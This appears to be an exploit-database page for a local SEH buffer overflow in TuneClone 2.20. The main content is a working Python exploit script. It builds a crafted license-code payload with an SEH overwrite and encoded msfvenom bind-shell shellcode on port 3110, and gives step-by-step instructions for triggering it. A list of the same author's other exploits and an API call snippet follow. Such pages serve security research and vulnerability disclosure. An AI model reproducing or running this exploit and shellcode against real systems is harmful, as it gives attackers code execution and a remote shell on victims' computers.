Search for hundreds of thousands of exploits

"Tuneclone 2.20 - Local SEH Buffer Overflow"

Author

Exploit author

Achilles

Platform

Exploit platform

windows

Release date

Exploit published date

2019-06-20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# Exploit Title: TuneClone Local Seh Exploit
# Date: 19.06.2019
# Vendor Homepage: http://www.tuneclone.com/
# Software Link:   http://www.tuneclone.com/tuneclone_setup.exe
# Exploit Author: Achilles
# Tested Version: 2.20
# Tested on: Windows XP SP3 EN
            
# 1.- Run python code : TuneClone.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open TuneClone and press Help and 'Enter License Code'
# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field'
# 5.- Click 'OK' and you will have a bind shell port 3110.
# 6.- Greetings go:XiDreamzzXi,Metatron

#!/usr/bin/env python

import struct

buffer = "\x41" * 1056
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh  =  struct.pack('<L',0x583411c0) #msaud32.acm
nops =  "\x90" * 20

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b" 
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))
payload = buffer + nseh + seh + nops + shellcode + pad

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Release DateTitleTypePlatformAuthor
2019-09-13"Folder Lock 7.7.9 - Denial of Service"doswindowsAchilles
2019-08-19"RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service"doswindowsAchilles
2019-06-20"Tuneclone 2.20 - Local SEH Buffer Overflow"localwindowsAchilles
2019-05-24"Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)"doswindowsAchilles
2019-04-25"Lavavo CD Ripper 4.20 - 'License Activation Name' Buffer Overflow (SEH)"localwindowsAchilles
2019-04-25"AnMing MP3 CD Burner 2.0 - Denial of Service (PoC)"doswindowsAchilles
2019-04-22"Ease Audio Converter 5.30 - '.mp4' Denial of Service (PoC)"doswindowsAchilles
2019-03-18"WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 - Denial of Service"doswindowsAchilles
2019-03-18"WinMPG Video Convert 9.3.5 - Denial of Service"doswindowsAchilles
2019-02-11"FutureDj Pro 1.7.2.0 - Denial of Service"doswindowsAchilles
2019-02-11"River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH)"localwindowsAchilles
2019-02-05"River Past Audio Converter 7.7.16 - Denial of Service (PoC)"doswindowsAchilles
2019-02-04"MyVideoConverter Pro 3.14 - Denial of Service"doswindowsAchilles
2019-02-01"PassFab Excel Password Recovery 8.3.1 - SEH Local Exploit"localwindowsAchilles
2019-01-02"EZ CD Audio Converter 8.0.7 - Denial of Service (PoC)"doswindows_x86-64Achilles
2018-12-19"PDF Explorer 1.5.66.2 - Buffer Overflow (SEH)"localwindowsAchilles
2018-12-19"PassFab RAR 9.3.2 - Buffer Overflow (SEH)"localwindowsAchilles
2018-12-18"Exel Password Recovery 8.2.0.0 - Local Buffer Overflow Denial of Service"doswindowsAchilles
2018-12-18"Nsauditor 3.0.28.0 - Local SEH Buffer Overflow"localwindowsAchilles
2018-12-18"MegaPing - Local Buffer Overflow Denial of Service"doswindowsAchilles
2018-12-18"AnyBurn 4.3 - Local Buffer Overflow Denial of Service"doswindowsAchilles
2018-08-03"Wedding Slideshow Studio 1.36 - Buffer Overflow"localwindowsAchilles
2018-07-09"Boxoft WAV to WMA Converter 1.0 - Local Buffer Overflow (SEH)"localwindowsAchilles
2018-05-09"Allok Video Splitter 3.1.12.17 - Denial of Service"doswindowsAchilles
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/47012/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.